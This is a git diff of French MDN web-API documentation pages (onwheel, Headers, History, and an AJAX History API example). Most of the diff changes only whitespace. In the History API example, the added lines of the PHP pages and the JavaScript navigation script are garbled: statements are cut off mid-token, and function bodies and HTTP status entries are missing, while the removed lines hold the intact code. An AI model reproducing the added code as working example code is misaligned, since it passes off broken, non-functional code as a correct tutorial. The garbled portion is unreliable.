redimensionnement. Le rédimensionnement d'autres éléments (par exemple, la modification de la largeur ou de la hauteur d'un élément img par un script) ne lancera aucun évènement de redimensionnement. +Un attribut onresize peut être placé sur n'importe quel élément, mais seul l'objet `window` possède un évènement sur le redimensionnement. Le rédimensionnement d'autres éléments (par exemple, la modification de la largeur ou de la hauteur d'un élément img par un script) ne lancera aucun évènement de redimensionnement. ### Spécification diff --git a/files/fr/web/api/globaleventhandlers/onwheel/index.md b/files/fr/web/api/globaleventhandlers/onwheel/index.md index 2c85e2e382..a645f6cb0e 100644 --- a/files/fr/web/api/globaleventhandlers/onwheel/index.md +++ b/files/fr/web/api/globaleventhandlers/onwheel/index.md @@ -12,7 +12,7 @@ original_slug: Web/API/Element/onwheel --- {{ ApiRef("DOM") }} -La propriété `onwheel` renvoie le code du gestionnaire d'évènements `onwheel` de l'élément courrant. +La propriété `onwheel` renvoie le code du gestionnaire d'évènements `onwheel` de l'élément courrant. ## Syntaxe @@ -24,7 +24,7 @@ element.onwheel = function() { .. } | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG','webappapis.html#handler-onwheel','onwheel')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG','webappapis.html#handler-onwheel','onwheel')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/headers/index.md b/files/fr/web/api/headers/index.md index 88237327df..8219532411 100644 --- a/files/fr/web/api/headers/index.md +++ b/files/fr/web/api/headers/index.md @@ -14,11 +14,11 @@ translation_of: Web/API/Headers --- {{APIRef("Fetch API")}} -L'interface `Headers` de l'API Fetch vous permet d'effectuer diverses actions sur les en-têtes de requête et de réponse HTTP. Ces actions incluent la récupération, la configuration, l’ajout et la suppression. Un objet `Headers` a une liste `Headers` associée qui est vide lors de l'initialisation et qui est constituée de zéro ou plusieurs paires de noms et de valeurs. Vous pouvez en ajouter via les méthodes comme{{domxref("Headers.append","append()")}} (see {{anch("Examples")}}.) Dans toutes les méthodes de cette interface, les noms des `Headers` sont reliés à une séquence d'octets sensible à la case. +L'interface `Headers` de l'API Fetch vous permet d'effectuer diverses actions sur les en-têtes de requête et de réponse HTTP. Ces actions incluent la récupération, la configuration, l’ajout et la suppression. Un objet `Headers` a une liste `Headers` associée qui est vide lors de l'initialisation et qui est constituée de zéro ou plusieurs paires de noms et de valeurs. Vous pouvez en ajouter via les méthodes comme{{domxref("Headers.append","append()")}} (see {{anch("Examples")}}.) Dans toutes les méthodes de cette interface, les noms des `Headers` sont reliés à une séquence d'octets sensible à la case. -Pour des raisons de sécurité, les `Headers` ci-dessous peuvent être controlés uniquement par l'User Agent : {{Glossary("Forbidden_header_name", "forbidden header names", 1)}} et {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}. +Pour des raisons de sécurité, les `Headers` ci-dessous peuvent être controlés uniquement par l'User Agent : {{Glossary("Forbidden_header_name", "forbidden header names", 1)}} et {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}. -Un objet `Headers` a aussi une garde associée, qui prend la valeur `immutable`, `request`, `request-no-cors`, `reponse`, or `none`. Cela affecte si les méthodes {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, et {{domxref("Headers.append","append()")}} vont modifier le `Header`. Pour plus d'informations voir {{Glossary("Guard")}}. +Un objet `Headers` a aussi une garde associée, qui prend la valeur `immutable`, `request`, `request-no-cors`, `reponse`, or `none`. Cela affecte si les méthodes {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, et {{domxref("Headers.append","append()")}} vont modifier le `Header`. Pour plus d'informations voir {{Glossary("Guard")}}. Vous pouvez récuperer un objet `Header` via les propriétés {{domxref("Request.headers")}} et {{domxref("Response.headers")}} et créer un nouvel objet `Header` en utilisant le constructeur {{domxref("Headers.Headers()")}}. @@ -46,13 +46,13 @@ Un objet implémentant `Headers` peut directement être utilisé dans une struct - {{domxref("Headers.has()")}} - : Retourne un booléen indiquant si un objet `Headers` contient un certain header. - {{domxref("Headers.keys()")}} - - : Retourne un {{jsxref("Iteration_protocols", "iterator")}} permettant de parcourir toutes les clefs des paires clef/valeur contenues dans cet objet. + - : Retourne un {{jsxref("Iteration_protocols", "iterator")}} permettant de parcourir toutes les clefs des paires clef/valeur contenues dans cet objet. - {{domxref("Headers.set()")}} - : Définti une nouvelle valeur pour un header existant dans un objet `Headers`, ou ajoute le header s'il n'existe pas déjà. - {{domxref("Headers.values()")}} - : Retourne un {{jsxref("Iteration_protocols", "iterator")}} permettant de parcourir toutes les valeurs des paires clefs/valeur contenues dans cet objet. -> **Note :** Pour être clair, la différence entre {{domxref("Headers.set()")}} et {{domxref("Headers.append()")}} est que si le header spécifié existe et accepte plusieurs valeurs, {{domxref("Headers.set()")}} va remplacer la valeur existante par la nouvelle, tandis que {{domxref("Headers.append()")}} va ajouter la nouvelle valeur à la fin des autres valeurs. Voir leurs pages dédiées pour des exemples de code. +> **Note :** Pour être clair, la différence entre {{domxref("Headers.set()")}} et {{domxref("Headers.append()")}} est que si le header spécifié existe et accepte plusieurs valeurs, {{domxref("Headers.set()")}} va remplacer la valeur existante par la nouvelle, tandis que {{domxref("Headers.append()")}} va ajouter la nouvelle valeur à la fin des autres valeurs. Voir leurs pages dédiées pour des exemples de code. > **Note :** Toutes les méthodes Headers vont retourner `TypeError` si vous essayez de passer dans une réfférenceun nom qui n'est pas un [nom de Header HTTP valide](https://fetch.spec.whatwg.org/#concept-header-name). Les opérations de mutation vont retourner `TypeError` si le header a un {{Glossary("Guard")}} immuable. Dans tous les autres cas, les erreurs sont silencieuses. @@ -74,7 +74,7 @@ monHeader.append('Content-Type', 'text/xml'); monHeader.get('Content-Type') // doit retourner 'text/xml' ``` -La même chose peut être accomplie en passant par un array d'array un littéral d'objet au constructeur. +La même chose peut être accomplie en passant par un array d'array un littéral d'objet au constructeur. ```js var mesHeaders = new Headers({ diff --git a/files/fr/web/api/history/index.md b/files/fr/web/api/history/index.md index d9951dcdcc..e830bbe66f 100644 --- a/files/fr/web/api/history/index.md +++ b/files/fr/web/api/history/index.md @@ -8,14 +8,14 @@ translation_of: Web/API/History --- {{APIRef}} -L'interface **`History`** permet de manipuler l'historique de navigation du navigateur, soit la liste des pages visitées au sein de l'onglet ou fenêtre ou cadre dans lequelle la page actuelle est ouverte. +L'interface **`History`** permet de manipuler l'historique de navigation du navigateur, soit la liste des pages visitées au sein de l'onglet ou fenêtre ou cadre dans lequelle la page actuelle est ouverte. ## Propriétés -*L'interface `History`* *n'hérite d'aucune propriété.* +*L'interface `History`* *n'hérite d'aucune propriété.* - {{domxref("History.length")}} {{readOnlyInline}} - - : Retourne un `Integer` représentant le nombre d'élements dans l'historique de la session, y incluant la page actullement ouverte. Par exemple, pour une page chargée dans un nouvel onglet cette propriété retourne `1`. + - : Retourne un `Integer` représentant le nombre d'élements dans l'historique de la session, y incluant la page actullement ouverte. Par exemple, pour une page chargée dans un nouvel onglet cette propriété retourne `1`. - {{domxref("History.current")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }} - : Retourne un {{domxref("DOMString")}} de l‘URL active dans l'historique de navigation. Cette propriété n‘a jamais été rendu disponible au contenu web ni supporté par aucun autre navigateur. Utilisez plutôt {{domxref("Location.href")}}. - {{domxref("History.next")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }} @@ -23,15 +23,15 @@ L'interface **`History`** permet de manipuler l'historique de navigation du n - {{domxref("History.previous")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }} - : Retourne un {{domxref("DOMString")}} de l‘URL précédente dans l'historique de navigation. - {{domxref("History.state")}} {{readOnlyInline}} {{ gecko_minversion_inline("2.0") }} - - : Retourne une value `any` représentant l'état le plus haut de l‘historique de navigation. C‘est une manière de vérifier cet état sans avoir à attendre un évenement {{event("popstate")}}. + - : Retourne une value `any` représentant l'état le plus haut de l‘historique de navigation. C‘est une manière de vérifier cet état sans avoir à attendre un évenement {{event("popstate")}}. ## Méthodes -_L‘interface `History`_ _n‘hérite d‘aucune méthode._ +_L‘interface `History`_ _n‘hérite d‘aucune méthode._ - {{domxref("History.back()")}} - - : Recule vers la page précédente dans l‘historique de navigation, soit la même action que lorsque l‘utilsateur clique le bouton Précédent du navigateur. Equivalent de `history.go(-1)`. + - : Recule vers la page précédente dans l‘historique de navigation, soit la même action que lorsque l‘utilsateur clique le bouton Précédent du navigateur. Equivalent de `history.go(-1)`. > **Note :** Appeler cette méthode pour reculer plus loin que la première page de l'historique de navigation n‘a aucun effet et ne déclenche pas d'exception. @@ -42,18 +42,18 @@ _L‘interface `History`_ _n‘hérite d‘aucune méthode._ > **Note :** Appeler cette méthode pour avancer plus loin que la page la plus récente de l'historique de navigation n‘a aucun effet et ne déclenche pas d'exception. - {{domxref("History.go()")}} - - : Charge une page dans l‘historique de navigation, identifiée par sa position relative à la page courante, par exemple `-1` pour la page précédente ou `1` pour la page suivante. Lorsque `integerDelta` sort du cadre de l‘historique (aka. -1 alors qu‘il n‘y a pas de page précédente), cette méthode n‘aura aucun effet et ne déclenchera pas d'exception. Appeler `go()` sans paramètres ou un paramètre autre qu'un `Integer` n‘a aucun effet (sauf par Internet Explorer, [qui supporte les URLs en String comme paramètre](<http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx>)). + - : Charge une page dans l‘historique de navigation, identifiée par sa position relative à la page courante, par exemple `-1` pour la page précédente ou `1` pour la page suivante. Lorsque `integerDelta` sort du cadre de l‘historique (aka. -1 alors qu‘il n‘y a pas de page précédente), cette méthode n‘aura aucun effet et ne déclenchera pas d'exception. Appeler `go()` sans paramètres ou un paramètre autre qu'un `Integer` n‘a aucun effet (sauf par Internet Explorer, [qui supporte les URLs en String comme paramètre](<http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx>)). - {{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }} - - : Insère les paramètres fournis dans la pile de l‘historique de navigation avec un titre donné et, si fourni, l‘URL. Les données sont traitées comme opaque par le DOM; il est nécessaire de spécifier chaque objet JavaScript devant être sérialisé. Notez que Firefox ignore actuellement le paramètre titre; pour plus d'informations, voir [Manipuler l'historique du navigateur](/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur). + - : Insère les paramètres fournis dans la pile de l‘historique de navigation avec un titre donné et, si fourni, l‘URL. Les données sont traitées comme opaque par le DOM; il est nécessaire de spécifier chaque objet JavaScript devant être sérialisé. Notez que Firefox ignore actuellement le paramètre titre; pour plus d'informations, voir [Manipuler l'historique du navigateur](/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur). - > **Note :** De Gecko 2.0 {{ geckoRelease("2.0") }} jusqu‘à Gecko 5.0 {{ geckoRelease("5.0") }}, l‘objet donné est sérialisé via JSON. A partir de Gecko 6.0 {{ geckoRelease("6.0") }}, cet objet est sérialisé via [the structured clone algorithm](/en/DOM/The_structured_clone_algorithm). Cela permet une plus large variété d‘objets pouvant être passé. + > **Note :** De Gecko 2.0 {{ geckoRelease("2.0") }} jusqu‘à Gecko 5.0 {{ geckoRelease("5.0") }}, l‘objet donné est sérialisé via JSON. A partir de Gecko 6.0 {{ geckoRelease("6.0") }}, cet objet est sérialisé via [the structured clone algorithm](/en/DOM/The_structured_clone_algorithm). Cela permet une plus large variété d‘objets pouvant être passé. - {{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }} - - : Modifie la page la plus récente dans la pile de l‘historique de navigation pour avoir les données, titre, et si spécifiée, URL. Les données sont traitées comme opaque par le DOM; il est nécessaire de spécifier chaque objet JavaScript devant être sérialisé. Notez que Firefox ignore actuellement le paramètre titre; pour plus d'informations, voir [Manipuler l'historique du navigateur](/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur). + - : Modifie la page la plus récente dans la pile de l‘historique de navigation pour avoir les données, titre, et si spécifiée, URL. Les données sont traitées comme opaque par le DOM; il est nécessaire de spécifier chaque objet JavaScript devant être sérialisé. Notez que Firefox ignore actuellement le paramètre titre; pour plus d'informations, voir [Manipuler l'historique du navigateur](/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur). - > **Note :** De Gecko 2.0 {{ geckoRelease("2.0") }} jusqu‘à Gecko 5.0 {{ geckoRelease("5.0") }}, l‘objet donné est sérialisé via JSON. A partir de Gecko 6.0 {{ geckoRelease("6.0") }}, cet objet est sérialisé via [the structured clone algorithm](/en/DOM/The_structured_clone_algorithm). Cela permet une plus large variété d‘objets pouvant être passé. + > **Note :** De Gecko 2.0 {{ geckoRelease("2.0") }} jusqu‘à Gecko 5.0 {{ geckoRelease("5.0") }}, l‘objet donné est sérialisé via JSON. A partir de Gecko 6.0 {{ geckoRelease("6.0") }}, cet objet est sérialisé via [the structured clone algorithm](/en/DOM/The_structured_clone_algorithm). Cela permet une plus large variété d‘objets pouvant être passé. ## Spécifications diff --git a/files/fr/web/api/history_api/example/index.md b/files/fr/web/api/history_api/example/index.md index a218dcba37..a9473b7582 100644 --- a/files/fr/web/api/history_api/example/index.md +++ b/files/fr/web/api/history_api/example/index.md @@ -4,26 +4,26 @@ slug: Web/API/History_API/Example translation_of: Web/API/History_API/Example original_slug: Web/Guide/DOM/Manipuler_historique_du_navigateur/Example --- -Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.php_, *page_deux.php* et *page_trois.php*). Pour tester cet exemple, merci de créer les fichiers suivants : +Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.php_, *page_deux.php* et *page_trois.php*). Pour tester cet exemple, merci de créer les fichiers suivants : **page_un.php**: ```php <?php - $page_title = "Page un"; - - $as_json = false; - if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") { - $as_json = true; - ob_start(); - } else { + $page_title = "Page un"; + + $as_json = false; + if (isset($_GET["vie + $as_json = + ob_start(); + } else { ?> <!doctype html> <html> <head> <?php - include "include/header.php"; - echo "<title>" . $page_title . "</title>"; + include "include/header.php"; + echo "<title>" . $page_title . "</title>"; ?> </head> @@ -36,21 +36,21 @@ Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.p <div id="ajax-content"> <?php } ?> - <p>This is the content of <strong>first_page.php</strong>.</p> + <p>This is the content of <strong>first_page.php</strong>.</p> <?php - if ($as_json) { - echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); - } else { + if ($as_json) { + echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); + } else { ?> </div> <p>This paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <?php - include "include/after_content.php"; - echo "</body>\n</html>"; - } + include "include/after_content.php"; + echo "</body>\n</html>"; + } ?> ``` @@ -58,20 +58,20 @@ Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.p ```php <?php - $page_title = "Page deux"; - - $as_json = false; - if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") { - $as_json = true; - ob_start(); - } else { + $page_title = "Page deux"; + + $as_json = false; + if (isset($_GET["vie + $as_json = + ob_start(); + } else { ?> <!doctype html> <html> <head> <?php - include "include/header.php"; - echo "<title>" . $page_title . "</title>"; + include "include/header.php"; + echo "<title>" . $page_title . "</title>"; ?> </head> @@ -84,21 +84,21 @@ Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.p <div id="ajax-content"> <?php } ?> - <p>This is the content of <strong>second_page.php</strong>.</p> + <p>This is the content of <strong>second_page.php</strong>.</p> <?php - if ($as_json) { - echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); - } else { + if ($as_json) { + echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); + } else { ?> </div> <p>This paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p> <?php - include "include/after_content.php"; - echo "</body>\n</html>"; - } + include "include/after_content.php"; + echo "</body>\n</html>"; + } ?> ``` @@ -106,19 +106,19 @@ Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.p ```php <?php - $page_title = "Page trois"; - $page_content = "<p>Ceci est le contenu de la <strong>page_trois.php</strong>. Ce contenu est stocké dans une variable PHP.</p>"; - - if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") { - echo json_encode(array("page" => $page_title, "content" => $page_content)); - } else { + $page_title = "Page trois"; + $page_content = "<p>Ceci est le contenu de la <strong>page_trois.php</strong>. Ce contenu est stocké dans une variable PHP.</p>"; + + if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") { + echo json_encode(array("page" => $page_title, "content" => $page_content)); + } else { ?> <!doctype html> <html> <head> <?php - include "include/header.php"; - echo "<title>" . $page_title . "</title>"; + include "include/header.php"; + echo "<title>" . $page_title . "</title>"; ?> </head> @@ -135,9 +135,9 @@ Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.p <p>This paragraph is shown only when the navigation starts from <strong>third_page.php</strong>.</p> <?php - include "include/after_content.php"; - echo "</body>\n</html>"; - } + include "include/after_content.php"; + echo "</body>\n</html>"; + } ?> ``` @@ -145,22 +145,22 @@ Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.p ```css #ajax-loader { - position: fixed; - display: table; - top: 0; - left: 0; - width: 100%; - height: 100%; + position: fixed; + display: table; + top: 0; + left: 0; + width: 100%; + height: 100%; } #ajax-loader > div { - display: table-cell; - width: 100%; - height: 100%; - vertical-align: middle; - text-align: center; - background-color: #000000; - opacity: 0.65; + display: table-cell; + width: 100%; + height: 100%; + vertical-align: middle; + text-align: center; + background-color: #000000; + opacity: 0.65; } ``` @@ -196,212 +196,212 @@ Voici un exemple de site web AJAX composé uniquement de trois pages (_page_un.p var ajaxRequest = new (function () { - function closeReq () { - oLoadingBox.parentNode && document.body.removeChild(oLoadingBox); - bIsLoading = false; - } - - function abortReq () { - if (!bIsLoading) { return; } - oReq.abort(); - closeReq(); - } - - function ajaxError () { - alert("Unknown error."); - } - - function ajaxLoad () { - var vMsg, nStatus = this.status; - switch (nStatus) { - case 200: - vMsg = JSON.parse(this.responseText); - document.title = oPageInfo.title = vMsg.page; - document.getElementById(sTargetId).innerHTML = vMsg.content; - if (bUpdateURL) { - history.pushState(oPageInfo, oPageInfo.title, oPageInfo.url); - bUpdateURL = false; - } - break; - default: - vMsg = nStatus + ": " + (oHTTPStatus[nStatus] || "Unknown"); - switch (Math.floor(nStatus / 100)) { - /* - case 1: - // Informational 1xx - console.log("Information code " + vMsg); - break; - case 2: - // Successful 2xx - console.log("Successful code " + vMsg); - break; - case 3: - // Redirection 3xx - console.log("Redirection code " + vMsg); - break; - */ - case 4: - /* Client Error 4xx */ - alert("Client Error #" + vMsg); - break; - case 5: - /* Server Error 5xx */ - alert("Server Error #" + vMsg); - break; - default: - /* Unknown status */ - ajaxError(); - } - } - closeReq(); - } - - function filterURL (sURL, sViewMode) { - return sURL.replace(rSearch, "") + ("?" + sURL.replace(rHost, "&").replace(rView, sViewMode ? "&" + sViewKey + "=" + sViewMode : "").slice(1)).replace(rEndQstMark, ""); - } - - function getPage (sPage) { - if (bIsLoading) { return; } - oReq = new XMLHttpRequest(); - bIsLoading = true; - oReq.onload = ajaxLoad; - oReq.onerror = ajaxError; - if (sPage) { oPageInfo.url = filterURL(sPage, null); } - oReq.open("get", filterURL(oPageInfo.url, "json"), true); - oReq.send(); - oLoadingBox.parentNode || document.body.appendChild(oLoadingBox); - } - - function requestPage (sURL) { - if (history.pushState) { - bUpdateURL = true; - getPage(sURL); - } else { - /* Ajax navigation is not supported */ - location.assign(sURL); - } - } - - function processLink () { - if (this.className === sAjaxClass) { - requestPage(this.href); - return false; - } - return true; - } - - function init () { - oPageInfo.title = document.title; - for (var oLink, nIdx = 0, nLen = document.links.length; nIdx < nLen; document.links[nIdx++].onclick = processLink); - } - - const - - /* customizable constants */ - sTargetId = "ajax-content", sViewKey = "view_as", sAjaxClass = "ajax-nav", - - /* not customizable constants */ - rSearch = /\?.*$/, rHost = /^[^\?]*\?*&*/, rView = new RegExp("&" + sViewKey + "\\=[^&]*|&*$", "i"), rEndQstMark = /\?$/, - oLoadingBox = document.createElement("div"), oCover = document.createElement("div"), oLoadingImg = new Image(), - oPageInfo = { - title: null, - url: location.href - }, oHTTPStatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ { - 100: "Continue", - 101: "Switching Protocols", - 102: "Processing", - 200: "OK", - 201: "Created", - 202: "Accepted", - 203: "Non-Authoritative Information", - 204: "No Content", - 205: "Reset Content", - 206: "Partial Content", - 207: "Multi-Status", - 208: "Already Reported", - 226: "IM Used", - 300: "Multiple Choices", - 301: "Moved Permanently", - 302: "Found", - 303: "See Other", - 304: "Not Modified", - 305: "Use Proxy", - 306: "Reserved", - 307: "Temporary Redirect", - 308: "Permanent Redirect", - 400: "Bad Request", - 401: "Unauthorized", - 402: "Payment Required", - 403: "Forbidden", - 404: "Not Found", - 405: "Method Not Allowed", - 406: "Not Acceptable", - 407: "Proxy Authentication Required", - 408: "Request Timeout", - 409: "Conflict", - 410: "Gone", - 411: "Length Required", - 412: "Precondition Failed", - 413: "Request Entity Too Large", - 414: "Request-URI Too Long", - 415: "Unsupported Media Type", - 416: "Requested Range Not Satisfiable", - 417: "Expectation Failed", - 422: "Unprocessable Entity", - 423: "Locked", - 424: "Failed Dependency", - 425: "Unassigned", - 426: "Upgrade Required", - 427: "Unassigned", - 428: "Precondition Required", - 429: "Too Many Requests", - 430: "Unassigned", - 431: "Request Header Fields Too Large", - 500: "Internal Server Error", - 501: "Not Implemented", - 502: "Bad Gateway", - 503: "Service Unavailable", - 504: "Gateway Timeout", - 505: "HTTP Version Not Supported", - 506: "Variant Also Negotiates (Experimental)", - 507: "Insufficient Storage", - 508: "Loop Detected", - 509: "Unassigned", - 510: "Not Extended", - 511: "Network Authentication Required" - }; - - var - - oReq, bIsLoading = false, bUpdateURL = false; - - oLoadingBox.id = "ajax-loader"; - oCover.onclick = abortReq; - oLoadingImg.src = "data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA=="; - oCover.appendChild(oLoadingImg); - oLoadingBox.appendChild(oCover); - - onpopstate = function (oEvent) { - bUpdateURL = false; - oPageInfo.title = oEvent.state.title; - oPageInfo.url = oEvent.state.url; - getPage(); - }; - - window.addEventListener ? addEventListener("load", init, false) : window.attachEvent ? attachEvent("onload", init) : (onload = init); - - // Public methods - - this.open = requestPage; - this.stop = abortReq; - this.rebuildLinks = init; + function closeReq () { + oLoadingBox.parentNode && document.body.removeChild(oLoadingBox); + bIsLoading = false; + } + + function abortReq () { + if (!bIsLoadi + oReq.abort( + + } + + fu + alert("Unknown err + } + + function ajaxLoad + var vMsg, nStatus = this.status; + switch (nStatus) { + case 200: + vMsg = JSON.parse + document.title = oPageInfo.title = vMsg.page; + document.getElementById + i + hi + + } + break; + ult: + vMsg = nSta + switch + /* + case 1: + // + consol + bre + 2: + // + consol + + + + con + + */ + case 4: + /* + alert( + bre + 5: + /* S + alert( + bre + + + + + } + closeReq(); + } + + function filterURL (sURL, sView + return sURL.replace(rSearch, + } + + function getPage (sPage) { + if (bIsLoading) { return; } + oReq = new XMLHttpRequest(); + bIsLoading = + oReq.onload = ajaxLoad; + + if (sPage) { oPageInfo.ur + oReq.open("get", filterU + oReq.send(); + oLoadingBox.parent + } + + function requestPage (sURL) { + i + + getPage(sURL); + se { + /* Ajax navigation is n + location.assi + } + } + + function processLi + if (this.className === sAjaxClass + requestPage(this.href); + + } + return true; + } + + function init () { + oPageInfo.title = document.title; + for (var oLin + } + + const + + /* customizable constants */ + sTargetId = "ajax-cont + + /* not customizable + rSearch = /\?.*$/, r + oLoadingBox = + oPageInfo = { + title: null, + url: location.href + HTTPStatus = /* + 100: "Continue" + 101: "Swit + 102: "Proc + 200: "OK", + 201: "Created + 202: "Accepted", + 203: "Non-Author + 204: "No Content + 205: "Reset Cont + 206: "Partial Conte + 207: "Multi-Sta + 208: "Already R + 226: "IM Used", + 300: "Multipl + 301: "Moved P + 302: "Found", + 303: "See Other", + 304: "Not Modifi + 305: "Use Proxy" + 306: "Reserv + 307: "Tempor + 308: "Perman + 400: "Bad Request", + 401: "Unauthorize + 402: "Payment Req + 403: "Forbidden", + 404: "Not Found", + 405: "Method Not Allow + 406: "Not Acce + 407: "Proxy Au + 408: "Reques + 409: "Confli + 410: "Gone", + 411: "Length Requi + 412: "Precondition + 413: "Request Enti + 414: "Request-URI + 415: "Unsupported + 416: "Requested Range N + 417: "Expectat + 422: "Unproces + 423: "Locked", + 424: "Failed Depen + 425: "Unassigned", + 426: "Upgrade Requ + 427: "Unassigned", + 428: "Precondition + 429: "Too Many Req + 430: "Unassigned", + 431: "Request Header + + + + 503: "Service Unavailab + 504: "Gateway Time + 505: "HTTP Version + 506: "Variant Also Negot + 507: "Insufficient St + 508: "Loop Detecte + 509: "Unassigne + 510: "Not Exten + 511: "Network Authentication Requ + }; + + var + + oReq, bIsLoadi + + oLoadingBox.id = "aja + oCover.onclick = abortReq; + oLoadingImg.src = "data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA=="; + oCover.appendChild(oLoadingImg); + oLoadingBox.appendChild(oCover); + + onpopstate = function ( + bUpdateURL = false; + oPageInfo.title = oEvent.state.ti + oPageInfo. + + }; + + window.addEventListener + + // Public methods + + this.open = requestPage; + this.stop = abortReq; + this.rebuildLinks = init; })(); ``` -> **Note :** [`const`](/en/JavaScript/Reference/Statements/const) (instruction de constante) **ne fait pas partie de ECMAScript 5**. Il est supporté dans Firefox et Chrome (V8) et partiellement supporté dans Opera 9+ et Safari. **Il n'est pas supporté dans Internet Explorer 6-9, ou dans la version de prévisualisation de Internet Explorer 10**. [`const`](/en/JavaScript/Reference/Statements/const) sera défini par ECMAScript 6, mais avec une sémantique différente. Proches des variables déclarées avec l'instruction [`let`](/en/JavaScript/Reference/Statements/let), les constantes déclarées avec [`const`](/en/JavaScript/Reference/Statements/const) seront limitées en portée. **Nous ne l'avons utilisé que pour des raisons pédagogiques, si vous souhaitez une compatibilité maximale de ce code, merci de remplacer les références à** **[`const`](/en/JavaScript/Reference/Statements/const) par des instructions [`var`](/en/JavaScript/Reference/Statements/var).** +> **Note :** [`const`](/en/JavaScript/Reference/Statements/const) (instruction de constante) **ne fait pas partie de ECMAScript 5**. Il est supporté dans Firefox et Chrome (V8) et partiellement supporté dans Opera 9+ et Safari. **Il n'est pas supporté dans Internet Explorer 6-9, ou dans la version de prévisualisation de Internet Explorer 10**. 